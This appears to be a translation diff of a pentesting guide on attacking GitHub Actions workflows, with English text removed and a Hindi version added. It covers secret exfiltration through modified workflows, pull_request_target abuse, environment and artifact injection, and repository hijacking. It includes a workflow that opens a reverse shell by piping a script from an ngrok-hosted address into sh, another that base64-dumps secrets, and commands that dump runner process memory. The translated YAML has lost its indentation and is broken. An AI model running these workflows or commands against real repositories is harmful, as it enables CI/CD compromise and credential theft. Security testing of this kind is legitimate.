from a New Branch +### नए शाखा से निष्पादन -If you can **create a new branch in a repository that already contains a Github Action** configured, you can **modify** it, **upload** the content, and then **execute that action from the new branch**. This way you can **exfiltrate repository and organization level secrets** (but you need to know how they are called). - -You can make the modified action executable **manually,** when a **PR is created** or when **some code is pushed** (depending on how noisy you want to be): +यदि आप **एक रिपॉजिटरी में एक नई शाखा बना सकते हैं जिसमें पहले से एक Github Action** कॉन्फ़िगर किया गया है, तो आप इसे **संशोधित** कर सकते हैं, **सामग्री अपलोड** कर सकते हैं, और फिर **नई शाखा से उस क्रिया को निष्पादित** कर सकते हैं। इस तरह आप **रिपॉजिटरी और संगठन स्तर के रहस्यों को निकाल सकते हैं** (लेकिन आपको यह जानना होगा कि उन्हें क्या कहा जाता है)। +आप संशोधित क्रिया को **हाथ से** निष्पादित कर सकते हैं, जब **PR बनाया जाता है** या जब **कुछ कोड पुश किया जाता है** (इस पर निर्भर करता है कि आप कितने शोर करना चाहते हैं): ```yaml on: - workflow_dispatch: # Launch manually - pull_request: #Run it when a PR is created to a branch - branches: - - master - push: # Run it when a push is made to a branch - branches: - - current_branch_name +workflow_dispatch: # Launch manually +pull_request: #Run it when a PR is created to a branch +branches: +- master +push: # Run it when a push is made to a branch +branches: +- current_branch_name # Use '**' instead of a branh name to trigger the action in all the cranches ``` - --- ## Forked Execution > [!NOTE] -> There are different triggers that could allow an attacker to **execute a Github Action of another repository**. If those triggerable actions are poorly configured, an attacker could be able to compromise them. +> विभिन्न ट्रिगर्स हैं जो एक हमलावर को **दूसरे रिपॉजिटरी का Github Action निष्पादित करने** की अनुमति दे सकते हैं। यदि उन ट्रिगर करने योग्य क्रियाओं को खराब तरीके से कॉन्फ़िगर किया गया है, तो एक हमलावर उन्हें समझौता करने में सक्षम हो सकता है। ### `pull_request` -The workflow trigger **`pull_request`** will execute the workflow every time a pull request is received with some exceptions: by default if it's the **first time** you are **collaborating**, some **maintainer** will need to **approve** the **run** of the workflow: +कार्यप्रवाह ट्रिगर **`pull_request`** हर बार कार्यप्रवाह को निष्पादित करेगा जब एक पुल अनुरोध प्राप्त होता है, कुछ अपवादों के साथ: डिफ़ॉल्ट रूप से यदि यह **पहली बार** है जब आप **सहयोग कर रहे हैं**, तो कुछ **रखरखावकर्ता** को कार्यप्रवाह के **निष्पादन** को **स्वीकृत** करने की आवश्यकता होगी:
> [!NOTE] -> As the **default limitation** is for **first-time** contributors, you could contribute **fixing a valid bug/typo** and then send **other PRs to abuse your new `pull_request` privileges**. +> चूंकि **डिफ़ॉल्ट सीमा** **पहली बार** योगदानकर्ताओं के लिए है, आप **एक मान्य बग/टाइपो को ठीक करने** में योगदान कर सकते हैं और फिर **अपने नए `pull_request` विशेषाधिकारों का दुरुपयोग करने के लिए अन्य PR भेज सकते हैं**। > -> **I tested this and it doesn't work**: ~~Another option would be to create an account with the name of someone that contributed to the project and deleted his account.~~ +> **मैंने इसका परीक्षण किया और यह काम नहीं करता**: ~~एक और विकल्प होगा किसी ऐसे व्यक्ति का नाम लेकर एक खाता बनाना जिसने परियोजना में योगदान दिया और उसका खाता हटा दिया।~~ -Moreover, by default **prevents write permissions** and **secrets access** to the target repository as mentioned in the [**docs**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflows-in-forked-repositories): +इसके अलावा, डिफ़ॉल्ट रूप से **लिखने की अनुमति** और **गुप्त पहुंच** को लक्षित रिपॉजिटरी में रोकता है जैसा कि [**दस्तावेज़**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflows-in-forked-repositories) में उल्लेख किया गया है: -> With the exception of `GITHUB_TOKEN`, **secrets are not passed to the runner** when a workflow is triggered from a **forked** repository. The **`GITHUB_TOKEN` has read-only permissions** in pull requests **from forked repositories**. +> `GITHUB_TOKEN` को छोड़कर, **गुप्त को रनर को नहीं भेजा जाता** जब कार्यप्रवाह एक **फोर्क की गई** रिपॉजिटरी से ट्रिगर किया जाता है। **`GITHUB_TOKEN` में पुल अनुरोधों में **पढ़ने की केवल अनुमति** होती है **फोर्क की गई रिपॉजिटरी** से। -An attacker could modify the definition of the Github Action in order to execute arbitrary things and append arbitrary actions. However, he won't be able to steal secrets or overwrite the repo because of the mentioned limitations. +एक हमलावर Github Action की परिभाषा को संशोधित कर सकता है ताकि मनमाने चीजें निष्पादित की जा सकें और मनमाने कार्यों को जोड़ा जा सके। हालाँकि, वह गुप्त चुराने या रिपॉजिटरी को ओवरराइट करने में सक्षम नहीं होगा क्योंकि उल्लेखित सीमाएँ हैं। > [!CAUTION] -> **Yes, if the attacker change in the PR the github action that will be triggered, his Github Action will be the one used and not the one from the origin repo!** +> **हाँ, यदि हमलावर PR में उस github action को बदलता है जो ट्रिगर किया जाएगा, तो उसका Github Action उपयोग किया जाएगा और मूल रिपॉजिटरी का नहीं!** -As the attacker also controls the code being executed, even if there aren't secrets or write permissions on the `GITHUB_TOKEN` an attacker could for example **upload malicious artifacts**. +चूंकि हमलावर द्वारा निष्पादित कोड पर भी नियंत्रण होता है, भले ही `GITHUB_TOKEN` पर गुप्त या लिखने की अनुमति न हो, एक हमलावर उदाहरण के लिए **दुष्ट कलाकृतियाँ अपलोड** कर सकता है। ### **`pull_request_target`** -The workflow trigger **`pull_request_target`** have **write permission** to the target repository and **access to secrets** (and doesn't ask for permission). +कार्यप्रवाह ट्रिगर **`pull_request_target`** को लक्षित रिपॉजिटरी में **लिखने की अनुमति** और **गुप्तों तक पहुंच** होती है (और अनुमति नहीं मांगता)। -Note that the workflow trigger **`pull_request_target`** **runs in the base context** and not in the one given by the PR (to **not execute untrusted code**). For more info about `pull_request_target` [**check the docs**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#pull_request_target).\ -Moreover, for more info about this specific dangerous use check this [**github blog post**](https://securitylab.github.com/research/github-actions-preventing-pwn-requests/). +ध्यान दें कि कार्यप्रवाह ट्रिगर **`pull_request_target`** **बेस संदर्भ में चलता है** और PR द्वारा दिए गए संदर्भ में नहीं (ताकि **अविश्वसनीय कोड निष्पादित न हो**)। `pull_request_target` के बारे में अधिक जानकारी के लिए [**दस्तावेज़ देखें**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#pull_request_target)।\ +इसके अलावा, इस विशिष्ट खतरनाक उपयोग के बारे में अधिक जानकारी के लिए इस [**गिटहब ब्लॉग पोस्ट**](https://securitylab.github.com/research/github-actions-preventing-pwn-requests/) की जांच करें। -It might look like because the **executed workflow** is the one defined in the **base** and **not in the PR** it's **secure** to use **`pull_request_target`**, but there are a **few cases were it isn't**. +यह लग सकता है कि क्योंकि **निष्पादित कार्यप्रवाह** वह है जो **बेस** में परिभाषित है और **PR** में नहीं है, यह **सुरक्षित** है **`pull_request_target`** का उपयोग करना, लेकिन कुछ **केस हैं जहाँ यह नहीं है**। -An this one will have **access to secrets**. +और यह एक **गुप्तों तक पहुंच** होगी। ### `workflow_run` -The [**workflow_run**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflow_run) trigger allows to run a workflow from a different one when it's `completed`, `requested` or `in_progress`. - -In this example, a workflow is configured to run after the separate "Run Tests" workflow completes: +[**workflow_run**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflow_run) ट्रिगर एक कार्यप्रवाह को एक अलग कार्यप्रवाह से चलाने की अनुमति देता है जब यह `पूर्ण`, `अनुरोधित` या `प्रगति में` हो। +इस उदाहरण में, एक कार्यप्रवाह को अलग "टेस्ट चलाएँ" कार्यप्रवाह के पूरा होने के बाद चलाने के लिए कॉन्फ़िगर किया गया है: ```yaml on: - workflow_run: - workflows: [Run Tests] - types: - - completed +workflow_run: +workflows: [Run Tests] +types: +- completed ``` - Moreover, according to the docs: The workflow started by the `workflow_run` event is able to **access secrets and write tokens, even if the previous workflow was not**. -This kind of workflow could be attacked if it's **depending** on a **workflow** that can be **triggered** by an external user via **`pull_request`** or **`pull_request_target`**. A couple of vulnerable examples can be [**found this blog**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability)**.** The first one consist on the **`workflow_run`** triggered workflow downloading out the attackers code: `${{ github.event.pull_request.head.sha }}`\ -The second one consist on **passing** an **artifact** from the **untrusted** code to the **`workflow_run`** workflow and using the content of this artifact in a way that makes it **vulnerable to RCE**. +इस प्रकार का वर्कफ़्लो हमला किया जा सकता है यदि यह एक **वर्कफ़्लो** पर **निर्भर** है जिसे एक बाहरी उपयोगकर्ता द्वारा **`pull_request`** या **`pull_request_target`** के माध्यम से **प्रेरित** किया जा सकता है। कुछ कमजोर उदाहरण [**इस ब्लॉग में पाया जा सकता है**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability)**.** पहला उदाहरण **`workflow_run`** द्वारा प्रेरित वर्कफ़्लो है जो हमलावर के कोड को डाउनलोड करता है: `${{ github.event.pull_request.head.sha }}`\ +दूसरा उदाहरण **`workflow_run`** वर्कफ़्लो में **अविश्वसनीय** कोड से एक **कलाकृति** को **पास** करने और इस कलाकृति की सामग्री का उपयोग करने पर आधारित है, जिससे यह **RCE के लिए कमजोर** हो जाता है। ### `workflow_call` TODO -TODO: Check if when executed from a pull_request the used/downloaded code if the one from the origin or from the forked PR +TODO: जांचें कि जब इसे pull_request से निष्पादित किया जाता है तो उपयोग किया गया/डाउनलोड किया गया कोड मूल से है या फोर्क किए गए PR से -## Abusing Forked Execution +## फोर्क किए गए निष्पादन का दुरुपयोग -We have mentioned all the ways an external attacker could manage to make a github workflow to execute, now let's take a look about how this executions, if bad configured, could be abused: +हमने सभी तरीकों का उल्लेख किया है जिनसे एक बाहरी हमलावर एक गिटहब वर्कफ़्लो को निष्पादित करने में सक्षम हो सकता है, अब आइए देखें कि यदि ये निष्पादन, यदि गलत तरीके से कॉन्फ़िगर किए गए हैं, तो कैसे दुरुपयोग किया जा सकता है: -### Untrusted checkout execution +### अविश्वसनीय चेकआउट निष्पादन -In the case of **`pull_request`,** the workflow is going to be executed in the **context of the PR** (so it'll execute the **malicious PRs code**), but someone needs to **authorize it first** and it will run with some [limitations](./#pull_request). +**`pull_request`** के मामले में, वर्कफ़्लो **PR के संदर्भ में** निष्पादित होगा (इसलिए यह **दुष्ट PR का कोड** निष्पादित करेगा), लेकिन किसी को इसे **पहले अधिकृत** करना होगा और यह कुछ [सीमाओं](./#pull_request) के साथ चलेगा। -In case of a workflow using **`pull_request_target` or `workflow_run`** that depends on a workflow that can be triggered from **`pull_request_target` or `pull_request`** the code from the original repo will be executed, so the **attacker cannot control the executed code**. +यदि एक वर्कफ़्लो **`pull_request_target` या `workflow_run`** का उपयोग कर रहा है जो एक वर्कफ़्लो पर निर्भर है जिसे **`pull_request_target` या `pull_request`** से प्रेरित किया जा सकता है, तो मूल रेपो का कोड निष्पादित होगा, इसलिए **हमलावर निष्पादित कोड को नियंत्रित नहीं कर सकता**। > [!CAUTION] -> However, if the **action** has an **explicit PR checkou**t that will **get the code from the PR** (and not from base), it will use the attackers controlled code. For example (check line 12 where the PR code is downloaded): +> हालाँकि, यदि **एक्शन** में एक **स्पष्ट PR चेकआउट** है जो **PR से कोड प्राप्त करेगा** (और आधार से नहीं), तो यह हमलावर के नियंत्रित कोड का उपयोग करेगा। उदाहरण के लिए (लाइन 12 देखें जहां PR कोड डाउनलोड किया गया है):
# INSECURE. Provided as an example only.
 on:
-  pull_request_target
+pull_request_target
 
 jobs:
-  build:
-    name: Build and test
-    runs-on: ubuntu-latest
-    steps:
+build:
+name: Build and test
+runs-on: ubuntu-latest
+steps:
     - uses: actions/checkout@v2
       with:
         ref: ${{ github.event.pull_request.head.sha }}
 
-    - uses: actions/setup-node@v1
-    - run: |
-        npm install
-        npm build
+- uses: actions/setup-node@v1
+- run: |
+npm install
+npm build
 
-    - uses: completely/fakeaction@v2
-      with:
-        arg1: ${{ secrets.supersecret }}
+- uses: completely/fakeaction@v2
+with:
+arg1: ${{ secrets.supersecret }}
 
-    - uses: fakerepo/comment-on-pr@v1
-      with:
-        message: |
-          Thank you!
+- uses: fakerepo/comment-on-pr@v1
+with:
+message: |
+Thank you!
 
-The potentially **untrusted code is being run during `npm install` or `npm build`** as the build scripts and referenced **packages are controlled by the author of the PR**. +संभावित रूप से **अविश्वसनीय कोड `npm install` या `npm build` के दौरान चलाया जा रहा है** क्योंकि निर्माण स्क्रिप्ट और संदर्भित **पैकेज PR के लेखक द्वारा नियंत्रित हैं**। > [!WARNING] -> A github dork to search for vulnerable actions is: `event.pull_request pull_request_target extension:yml` however, there are different ways to configure the jobs to be executed securely even if the action is configured insecurely (like using conditionals about who is the actor generating the PR). +> कमजोर एक्शन की खोज के लिए एक गिटहब डॉर्क है: `event.pull_request pull_request_target extension:yml` हालाँकि, भले ही एक्शन को असुरक्षित रूप से कॉन्फ़िगर किया गया हो, फिर भी कार्यों को सुरक्षित रूप से निष्पादित करने के लिए विभिन्न तरीके हैं (जैसे कि यह देखने के लिए कि PR उत्पन्न करने वाला अभिनेता कौन है)। -### Context Script Injections +### संदर्भ स्क्रिप्ट इंजेक्शन -Note that there are certain [**github contexts**](https://docs.github.com/en/actions/reference/context-and-expression-syntax-for-github-actions#github-context) whose values are **controlled** by the **user** creating the PR. If the github action is using that **data to execute anything**, it could lead to **arbitrary code execution:** +ध्यान दें कि कुछ [**गिटहब संदर्भ**](https://docs.github.com/en/actions/reference/context-and-expression-syntax-for-github-actions#github-context) हैं जिनके मान **उपयोगकर्ता** द्वारा नियंत्रित होते हैं जो PR बना रहा है। यदि गिटहब एक्शन उस **डेटा का उपयोग करके कुछ निष्पादित कर रहा है**, तो यह **मनमाने कोड निष्पादन** की ओर ले जा सकता है: {{#ref}} gh-actions-context-script-injections.md {{#endref}} -### **GITHUB_ENV Script Injection** +### **GITHUB_ENV स्क्रिप्ट इंजेक्शन** -From the docs: You can make an **environment variable available to any subsequent steps** in a workflow job by defining or updating the environment variable and writing this to the **`GITHUB_ENV`** environment file. +दस्तावेज़ों के अनुसार: आप एक वर्कफ़्लो नौकरी में किसी भी बाद के चरणों के लिए एक **पर्यावरण चर उपलब्ध** करा सकते हैं, इसे परिभाषित या अपडेट करके और इसे **`GITHUB_ENV`** पर्यावरण फ़ाइल में लिखकर। -If an attacker could **inject any value** inside this **env** variable, he could inject env variables that could execute code in following steps such as **LD_PRELOAD** or **NODE_OPTIONS**. +यदि एक हमलावर इस **env** चर के अंदर **कोई भी मान** **इंजेक्ट** कर सकता है, तो वह env चर को इंजेक्ट कर सकता है जो अगले चरणों में कोड निष्पादित कर सकता है जैसे **LD_PRELOAD** या **NODE_OPTIONS**। -For example ([**this**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability-0) and [**this**](https://www.legitsecurity.com/blog/-how-we-found-another-github-action-environment-injection-vulnerability-in-a-google-project)), imagine a workflow that is trusting an uploaded artifact to store its content inside **`GITHUB_ENV`** env variable. An attacker could upload something like this to compromise it: +उदाहरण के लिए ([**यह**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability-0) और [**यह**](https://www.legitsecurity.com/blog/-how-we-found-another-github-action-environment-injection-vulnerability-in-a-google-project)), कल्पना करें कि एक वर्कफ़्लो एक अपलोड की गई कलाकृति पर भरोसा कर रहा है ताकि इसकी सामग्री को **`GITHUB_ENV`** env चर के अंदर संग्रहीत किया जा सके। एक हमलावर इसे समझौता करने के लिए कुछ इस तरह अपलोड कर सकता है:
-### Vulnerable Third Party Github Actions +### कमजोर तृतीय पक्ष गिटहब एक्शन #### [dawidd6/action-download-artifact](https://github.com/dawidd6/action-download-artifact) -As mentioned in [**this blog post**](https://www.legitsecurity.com/blog/github-actions-that-open-the-door-to-cicd-pipeline-attacks), this Github Action allows to access artifacts from different workflows and even repositories. +जैसा कि [**इस ब्लॉग पोस्ट**](https://www.legitsecurity.com/blog/github-actions-that-open-the-door-to-cicd-pipeline-attacks) में उल्लेख किया गया है, यह गिटहब एक्शन विभिन्न वर्कफ़्लो और यहां तक कि रिपॉजिटरी से कलाकृतियों तक पहुंच की अनुमति देता है। -The thing problem is that if the **`path`** parameter isn't set, the artifact is extracted in the current directory and it can override files that could be later used or even executed in the workflow. Therefore, if the Artifact is vulnerable, an attacker could abuse this to compromise other workflows trusting the Artifact. - -Example of vulnerable workflow: +समस्या यह है कि यदि **`path`** पैरामीटर सेट नहीं किया गया है, तो कलाकृति वर्तमान निर्देशिका में निकाली जाती है और यह उन फ़ाइलों को ओवरराइट कर सकती है जो बाद में वर्कफ़्लो में उपयोग की जा सकती हैं या यहां तक कि निष्पादित की जा सकती हैं। इसलिए, यदि कलाकृति कमजोर है, तो एक हमलावर इसका दुरुपयोग करके अन्य वर्कफ़्लो को समझौता कर सकता है जो कलाकृति पर भरोसा करते हैं। +कमजोर वर्कफ़्लो का उदाहरण: ```yaml on: - workflow_run: - workflows: ["some workflow"] - types: - - completed +workflow_run: +workflows: ["some workflow"] +types: +- completed jobs: - success: - runs-on: ubuntu-latest - steps: - - uses: actions/checkout@v2 - - name: download artifact - uses: dawidd6/action-download-artifact - with: - workflow: ${{ github.event.workflow_run.workflow_id }} - name: artifact - - run: python ./script.py - with: - name: artifact - path: ./script.py +success: +runs-on: ubuntu-latest +steps: +- uses: actions/checkout@v2 +- name: download artifact +uses: dawidd6/action-download-artifact +with: +workflow: ${{ github.event.workflow_run.workflow_id }} +name: artifact +- run: python ./script.py +with: +name: artifact +path: ./script.py ``` - -This could be attacked with this workflow: - +यह इस वर्कफ़्लो के साथ हमला किया जा सकता है: ```yaml name: "some workflow" on: pull_request jobs: - upload: - runs-on: ubuntu-latest - steps: - - run: echo "print('exploited')" > ./script.py - - uses actions/upload-artifact@v2 - with: - name: artifact - path: ./script.py +upload: +runs-on: ubuntu-latest +steps: +- run: echo "print('exploited')" > ./script.py +- uses actions/upload-artifact@v2 +with: +name: artifact +path: ./script.py ``` - --- -## Other External Access +## अन्य बाहरी पहुँच -### Deleted Namespace Repo Hijacking +### हटाए गए Namespace Repo Hijacking -If an account changes it's name another user could register an account with that name after some time. If a repository had **less than 100 stars previously to the change of nam**e, Github will allow the new register user with the same name to create a **repository with the same name** as the one deleted. +यदि एक खाता अपना नाम बदलता है, तो कुछ समय बाद कोई अन्य उपयोगकर्ता उस नाम के साथ एक खाता पंजीकृत कर सकता है। यदि एक रिपॉजिटरी का **नाम बदलने से पहले 100 से कम सितारे थे**, तो Github नए पंजीकृत उपयोगकर्ता को उसी नाम के साथ एक **रिपॉजिटरी बनाने** की अनुमति देगा जो हटाई गई थी। > [!CAUTION] -> So if an action is using a repo from a non-existent account, it's still possible that an attacker could create that account and compromise the action. +> इसलिए यदि कोई क्रिया एक गैर-मौजूद खाते से एक रिपॉजिटरी का उपयोग कर रही है, तो यह संभव है कि एक हमलावर उस खाते को बना सके और क्रिया को समझौता कर सके। -If other repositories where using **dependencies from this user repos**, an attacker will be able to hijack them Here you have a more complete explanation: [https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/](https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/) +यदि अन्य रिपॉजिटरी **इस उपयोगकर्ता की रिपॉजिटरी से निर्भरताएँ** का उपयोग कर रही हैं, तो एक हमलावर उन्हें हाइजैक करने में सक्षम होगा। यहाँ आपके पास एक अधिक पूर्ण व्याख्या है: [https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/](https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/) --- ## Repo Pivoting > [!NOTE] -> In this section we will talk about techniques that would allow to **pivot from one repo to another** supposing we have some kind of access on the first one (check the previous section). +> इस अनुभाग में हम उन तकनीकों के बारे में बात करेंगे जो **एक रिपॉजिटरी से दूसरी रिपॉजिटरी में पिवट** करने की अनुमति देंगी, मानते हुए कि हमारे पास पहले वाले पर कुछ प्रकार की पहुँच है (पिछले अनुभाग की जाँच करें)। -### Cache Poisoning +### कैश पॉइज़निंग -A cache is maintained between **wokflow runs in the same branch**. Which means that if an attacker **compromise** a **package** that is then stored in the cache and **downloaded** and executed by a **more privileged** workflow he will be able to **compromise** also that workflow. +एक कैश **समान शाखा में वर्कफ़्लो रन के बीच** बनाए रखा जाता है। जिसका अर्थ है कि यदि एक हमलावर **एक पैकेज को समझौता करता है** जो फिर कैश में संग्रहीत होता है और **डाउनलोड** और **अधिक विशेषाधिकार प्राप्त** वर्कफ़्लो द्वारा निष्पादित होता है, तो वह उस वर्कफ़्लो को भी **समझौता** कर सकेगा। {{#ref}} gh-actions-cache-poisoning.md {{#endref}} -### Artifact Poisoning +### आर्टिफैक्ट पॉइज़निंग -Workflows could use **artifacts from other workflows and even repos**, if an attacker manages to **compromise** the Github Action that **uploads an artifact** that is later used by another workflow he could **compromise the other workflows**: +वर्कफ़्लो **अन्य वर्कफ़्लो और यहां तक कि रिपॉजिटरी से आर्टिफैक्ट्स** का उपयोग कर सकते हैं, यदि एक हमलावर उस Github Action को **समझौता** करने में सफल होता है जो एक आर्टिफैक्ट **अपलोड** करता है जो बाद में किसी अन्य वर्कफ़्लो द्वारा उपयोग किया जाता है, तो वह **अन्य वर्कफ़्लो को समझौता** कर सकता है: {{#ref}} gh-actions-artifact-poisoning.md @@ -394,11 +376,11 @@ gh-actions-artifact-poisoning.md --- -## Post Exploitation from an Action +## एक क्रिया से पोस्ट एक्सप्लॉइटेशन -### Accessing AWS and GCP via OIDC +### OIDC के माध्यम से AWS और GCP तक पहुँच -Check the following pages: +निम्नलिखित पृष्ठों की जाँच करें: {{#ref}} ../../../pentesting-cloud/aws-security/aws-basic-information/aws-federation-abuse.md @@ -408,170 +390,160 @@ Check the following pages: ../../../pentesting-cloud/gcp-security/gcp-basic-information/gcp-federation-abuse.md {{#endref}} -### Accessing secrets +### रहस्यों तक पहुँच -If you are injecting content into a script it's interesting to know how you can access secrets: +यदि आप एक स्क्रिप्ट में सामग्री इंजेक्ट कर रहे हैं, तो यह जानना दिलचस्प है कि आप रहस्यों तक कैसे पहुँच सकते हैं: -- If the secret or token is set to an **environment variable**, it can be directly accessed through the environment using **`printenv`**. +- यदि रहस्य या टोकन को **पर्यावरण चर** पर सेट किया गया है, तो इसे **`printenv`** का उपयोग करके सीधे पर्यावरण के माध्यम से पहुँचा जा सकता है।
-List secrets in Github Action output - +Github Action आउटपुट में रहस्यों की सूची ```yaml name: list_env on: - workflow_dispatch: # Launch manually - pull_request: #Run it when a PR is created to a branch - branches: - - '**' - push: # Run it when a push is made to a branch - branches: - - '**' +workflow_dispatch: # Launch manually +pull_request: #Run it when a PR is created to a branch +branches: +- '**' +push: # Run it when a push is made to a branch +branches: +- '**' jobs: - List_env: - runs-on: ubuntu-latest - steps: - - name: List Env - # Need to base64 encode or github will change the secret value for "***" - run: sh -c 'env | grep "secret_" | base64 -w0' - env: - secret_myql_pass: ${{secrets.MYSQL_PASSWORD}} +List_env: +runs-on: ubuntu-latest +steps: +- name: List Env +# Need to base64 encode or github will change the secret value for "***" +run: sh -c 'env | grep "secret_" | base64 -w0' +env: +secret_myql_pass: ${{secrets.MYSQL_PASSWORD}} - secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}} +secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}} ``` -
-Get reverse shell with secrets - +गुप्तों के साथ रिवर्स शेल प्राप्त करें ```yaml name: revshell on: - workflow_dispatch: # Launch manually - pull_request: #Run it when a PR is created to a branch - branches: - - "**" - push: # Run it when a push is made to a branch - branches: - - "**" +workflow_dispatch: # Launch manually +pull_request: #Run it when a PR is created to a branch +branches: +- "**" +push: # Run it when a push is made to a branch +branches: +- "**" jobs: - create_pull_request: - runs-on: ubuntu-latest - steps: - - name: Get Rev Shell - run: sh -c 'curl https://reverse-shell.sh/2.tcp.ngrok.io:15217 | sh' - env: - secret_myql_pass: ${{secrets.MYSQL_PASSWORD}} - secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}} +create_pull_request: +runs-on: ubuntu-latest +steps: +- name: Get Rev Shell +run: sh -c 'curl https://reverse-shell.sh/2.tcp.ngrok.io:15217 | sh' +env: +secret_myql_pass: ${{secrets.MYSQL_PASSWORD}} +secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}} ``` -
-- If the secret is used **directly in an expression**, the generated shell script is stored **on-disk** and is accessible. - - ```bash - cat /home/runner/work/_temp/* - ``` -- For a JavaScript actions the secrets and sent through environment variables - - ```bash - ps axe | grep node - ``` -- For a **custom action**, the risk can vary depending on how a program is using the secret it obtained from the **argument**: +- यदि गुप्त को **एक्सप्रेशन में सीधे** उपयोग किया जाता है, तो उत्पन्न शेल स्क्रिप्ट **ऑन-डिस्क** संग्रहीत होती है और इसे एक्सेस किया जा सकता है। +- ```bash +cat /home/runner/work/_temp/* +``` +- JavaScript क्रियाओं के लिए गुप्त को पर्यावरण चर के माध्यम से भेजा जाता है +- ```bash +ps axe | grep node +``` +- एक **कस्टम क्रिया** के लिए, जोखिम इस बात पर निर्भर कर सकता है कि एक प्रोग्राम ने **आर्गुमेंट** से प्राप्त गुप्त का उपयोग कैसे किया: - ```yaml - uses: fakeaction/publish@v3 - with: - key: ${{ secrets.PUBLISH_KEY }} - ``` +```yaml +uses: fakeaction/publish@v3 +with: +key: ${{ secrets.PUBLISH_KEY }} +``` -### Abusing Self-hosted runners +### स्वयं-होस्टेड रनर्स का दुरुपयोग -The way to find which **Github Actions are being executed in non-github infrastructure** is to search for **`runs-on: self-hosted`** in the Github Action configuration yaml. +यह पता लगाने का तरीका कि कौन सी **Github Actions गैर-github अवसंरचना में निष्पादित हो रही हैं** वह है कि Github Action कॉन्फ़िगरेशन yaml में **`runs-on: self-hosted`** के लिए खोजें। -**Self-hosted** runners might have access to **extra sensitive information**, to other **network systems** (vulnerable endpoints in the network? metadata service?) or, even if it's isolated and destroyed, **more than one action might be run at the same time** and the malicious one could **steal the secrets** of the other one. - -In self-hosted runners it's also possible to obtain the **secrets from the \_Runner.Listener**\_\*\* process\*\* which will contain all the secrets of the workflows at any step by dumping its memory: +**स्वयं-होस्टेड** रनर्स को **अतिरिक्त संवेदनशील जानकारी** तक पहुंच हो सकती है, अन्य **नेटवर्क सिस्टम** (नेटवर्क में कमजोर एंडपॉइंट? मेटाडेटा सेवा?) या, भले ही यह अलग-थलग और नष्ट हो जाए, **एक से अधिक क्रियाएं एक ही समय में चलाई जा सकती हैं** और दुर्भावनापूर्ण एक **दूसरे के गुप्त को चुरा सकती है**। +स्वयं-होस्टेड रनर्स में यह भी संभव है कि **\_Runner.Listener**\_\*\* प्रक्रिया\*\* से **गुप्त प्राप्त करें** जो किसी भी चरण पर कार्यप्रवाह के सभी गुप्त को अपनी मेमोरी को डंप करके रखेगा: ```bash sudo apt-get install -y gdb sudo gcore -o k.dump "$(ps ax | grep 'Runner.Listener' | head -n 1 | awk '{ print $1 }')" ``` - -Check [**this post for more information**](https://karimrahal.com/2023/01/05/github-actions-leaking-secrets/). +Check [**इस पोस्ट में अधिक जानकारी के लिए**](https://karimrahal.com/2023/01/05/github-actions-leaking-secrets/). ### Github Docker Images Registry -It's possible to make Github actions that will **build and store a Docker image inside Github**.\ -An example can be find in the following expandable: +यह संभव है कि Github actions बनाई जाएं जो **Github के अंदर एक Docker छवि का निर्माण और संग्रह करें**।\ +एक उदाहरण निम्नलिखित विस्तार योग्य में पाया जा सकता है:
Github Action Build & Push Docker Image - ```yaml [...] - name: Set up Docker Buildx - uses: docker/setup-buildx-action@v1 +uses: docker/setup-buildx-action@v1 - name: Login to GitHub Container Registry - uses: docker/login-action@v1 - with: - registry: ghcr.io - username: ${{ github.repository_owner }} - password: ${{ secrets.ACTIONS_TOKEN }} +uses: docker/login-action@v1 +with: +registry: ghcr.io +username: ${{ github.repository_owner }} +password: ${{ secrets.ACTIONS_TOKEN }} - name: Add Github Token to Dockerfile to be able to download code - run: | - sed -i -e 's/TOKEN=##VALUE##/TOKEN=${{ secrets.ACTIONS_TOKEN }}/g' Dockerfile +run: | +sed -i -e 's/TOKEN=##VALUE##/TOKEN=${{ secrets.ACTIONS_TOKEN }}/g' Dockerfile - name: Build and push - uses: docker/build-push-action@v2 - with: - context: . - push: true - tags: | - ghcr.io/${{ github.repository_owner }}/${{ github.event.repository.name }}:latest - ghcr.io/${{ github.repository_owner }}/${{ github.event.repository.name }}:${{ env.GITHUB_NEWXREF }}-${{ github.sha }} +uses: docker/build-push-action@v2 +with: +context: . +push: true +tags: | +ghcr.io/${{ github.repository_owner }}/${{ github.event.repository.name }}:latest +ghcr.io/${{ github.repository_owner }}/${{ github.event.repository.name }}:${{ env.GITHUB_NEWXREF }}-${{ github.sha }} [...] ``` -
-As you could see in the previous code, the Github registry is hosted in **`ghcr.io`**. - -A user with read permissions over the repo will then be able to download the Docker Image using a personal access token: +जैसा कि आप पिछले कोड में देख सकते हैं, Github रजिस्ट्री **`ghcr.io`** में होस्ट की गई है। +एक उपयोगकर्ता जिसे रेपो पर पढ़ने की अनुमति है, वह फिर व्यक्तिगत एक्सेस टोकन का उपयोग करके Docker इमेज डाउनलोड कर सकेगा: ```bash echo $gh_token | docker login ghcr.io -u --password-stdin docker pull ghcr.io//: ``` - -Then, the user could search for **leaked secrets in the Docker image layers:** +फिर, उपयोगकर्ता **Docker छवि परतों में लीक हुए रहस्यों** के लिए खोज कर सकता है: {{#ref}} https://book.hacktricks.xyz/generic-methodologies-and-resources/basic-forensic-methodology/docker-forensics {{#endref}} -### Sensitive info in Github Actions logs +### Github Actions लॉग में संवेदनशील जानकारी -Even if **Github** try to **detect secret values** in the actions logs and **avoid showing** them, **other sensitive data** that could have been generated in the execution of the action won't be hidden. For example a JWT signed with a secret value won't be hidden unless it's [specifically configured](https://github.com/actions/toolkit/tree/main/packages/core#setting-a-secret). +यहां 